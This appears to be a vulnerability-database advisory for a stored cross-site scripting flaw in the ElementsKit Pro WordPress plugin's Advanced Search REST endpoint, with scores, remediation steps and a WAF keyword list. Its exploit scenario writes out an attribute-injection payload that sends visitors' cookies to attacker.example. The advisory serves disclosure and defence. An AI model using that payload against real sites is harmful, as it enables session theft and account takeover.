Skip to main content

ElementsKit Pro EUVDEUVD-2026-67564

| CVE-2026-4246 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-28 Wordfence GHSA-pf34-qr6f-74hf
6.1
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send unauthenticated POST to /wp-json/elementskit/v1/advanced-search with crafted 's' parameter
  2. Delivery
    Double-quote payload bypasses sanitize_text_field()
  3. Exploit
    Payload stored site-wide in WordPress options table via update_option()
  4. Execution
    Victim visits page containing Advanced Search widget
  5. Persist
    'No results' view renders stored keyword into HTML attribute via sprintf() without esc_attr()
  6. Impact
    Injected event-handler script executes in victim's browser session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target site must have ElementsKit Pro version 4.10.1 or earlier installed and activated, and the Advanced Search widget must be placed on at least one publicly accessible page. The WordPress REST API must not be globally disabled (a non-default hardening measure). For the injected payload to execute against victims, end-users must visit a page containing the Advanced Search widget and reach the 'no results' display state - an attacker can manufacture this condition for other users by ensuring the poisoned search term is stored as a popular keyword. No authentication is required at any stage of the injection phase; the REST endpoint explicitly grants access to all callers via permission_callback => __return_true. Sites that have ElementsKit Pro installed but do not use the Advanced Search widget on any public page are not exposed to the stored-rendering step, though the endpoint will still accept and persist injected input.

Impact

The provided CVSS 6.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) is technically accurate but understates operational risk in several ways. The UI:R requirement - a victim must trigger the no-results view - is not a strong mitigation here because the same unauthenticated attacker who injects the payload can engineer no-results conditions by submitting rare search queries, collapsing the gap between injection and triggering. The S:C (scope change) metric correctly reflects that XSS crosses the trust boundary from the server-side plugin into the victim's browser session, enabling session hijacking or credential theft beyond the WordPress installation itself. No EPSS score was provided in the source data, and this CVE is not listed in the CISA KEV catalog, so no confirmed active exploitation exists. The absence of a KEV listing combined with no publicly identified POC places this in a lower-urgency tier for mass exploitation, but the zero-authentication write vector means automated scanning tools could poison sites at scale before patches are applied. The attack is fully automatable at the injection phase, requiring only a single unauthenticated HTTP request - any site running the widget and exposed to internet traffic should treat this as a priority patch item regardless of organization size.

Exploit ScenarioDerived

An unauthenticated attacker sends a single HTTP POST request to /wp-json/elementskit/v1/advanced-search with a crafted search term such as nonexistent" onmouseover="fetch('https://attacker.example/c?c='+document.cookie) - the double quote escapes the HTML attribute, injecting an event handler. Because the endpoint requires no authentication and the sanitizer permits double quotes, the payload is written to the site-wide WordPress options table and subsequently rendered into the Advanced Search widget's 'no results' HTML output. Every visitor who encounters the no-results state - which the attacker can reliably trigger for other users by ensuring the poisoned term is promoted as a popular keyword - executes the script, exposing session cookies and enabling account takeover.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Stored Cross-Site Scripting in ElementsKit Pro for WordPress allows unauthenticated attackers to persistently inject arbitrary JavaScript via the Advanced Search REST endpoint, affecting all versions through 4.10.1. The flaw combines an authentication bypass (permission_callback set to __return_true) with inadequate output escaping: sanitize_text_field() permits double-quote characters to pass through, and stored keywords are later rendered into HTML attributes using sprintf() without esc_attr(), enabling attribute injection. Unlike reflected XSS, this stored variant poisons the site globally - every visitor who triggers the 'no results' state on any page using the Advanced Search widget executes the injected payload. No public exploit has been identified at time of analysis and this CVE is not listed in the CISA KEV catalog.

RemediationAI

Update ElementsKit Pro to a version beyond 4.10.1 once WPMet releases a patched build; no specific fixed version number has been confirmed in the available references - monitor the plugin changelog and roadmap at https://wpmet.com/plugin/elementskit/roadmaps/ for release announcements. As an immediate compensating control, remove or disable the Advanced Search widget from all published pages: this prevents the vulnerable rendering path from executing even if the REST endpoint has already received injected input. Administrators should also purge any already-stored malicious keywords by running wp option delete ekit_advanced_search_popular_keyword via WP-CLI, or deleting the corresponding row from the WordPress options table directly - failure to do so leaves previously injected payloads active even after the widget is re-enabled post-patch. A WAF rule blocking POST requests to /wp-json/elementskit/v1/advanced-search containing double-quote characters or common XSS attribute-injection patterns (onmouseover, onerror, onfocus, etc.) can block the injection phase without disrupting the plugin's normal functionality, though this defense does not protect against obfuscated payloads. Globally disabling the WordPress REST API is not recommended as a general mitigation due to broad functional side effects.

Affected VersionsENISA

ElementsKit Pro 0 ≤4.10.1

Affected Packages

euvd elementskit_pro no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the Advanced Search widget shipped with the ElementsKit Pro WordPress plugin (CPE: cpe:2.3:a:wpmet:elementskit_pro:*:*:*:*:*:*:*:*), developed by WPMet. The REST endpoint /wp-json/elementskit/v1/advanced-search registers its permission_callback as the WordPress built-in __return_true, which unconditionally grants access to any caller regardless of authentication state. User-supplied search terms are passed through sanitize_text_field(), a WordPress function designed to strip HTML tags and control characters but explicitly documented as not encoding quotes. The sanitized value is then written to the WordPress options table under the ekit_advanced_search_popular_keyword key via update_option(). On the rendering side, confirmed by source references at advanced-search-result.php#L91 and #L174, stored keywords are interpolated into HTML attribute contexts using sprintf() without wrapping the value in esc_attr() - the WordPress-standard function for attribute-context escaping. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) instance: ingress sanitization was applied but context-correct egress escaping was omitted, with the added severity that the vector is a persistent store rather than a reflected parameter.

Know when Elementskit Pro gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Open unauthenticated REST endpoint drives PR:N and AV:N; stored XSS crosses scope boundary (S:C, UI:R); no availability impact applies.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The ElementsKit Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 's' parameter of the Advanced Search REST endpoint in all versions up to, and including, 4.10.1 due to insufficient input sanitization and output escaping. The REST endpoint at /wp-json/elementskit/v1/advanced-search uses permission_callback set to __return_true, allowing unauthenticated access. Search terms are stored in the ekit_advanced_search_popular_keyword WordPress option via update_option(). While sanitize_text_field() is applied, it does not encode double quotes, and the stored keywords are rendered in HTML attributes via sprintf without esc_attr(), allowing attribute injection. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user triggers the "no results" popular keywords view on pages using the Advanced Search widget.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Medium
popular Elementor add-on plugin, significant but not universal WordPress install base
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy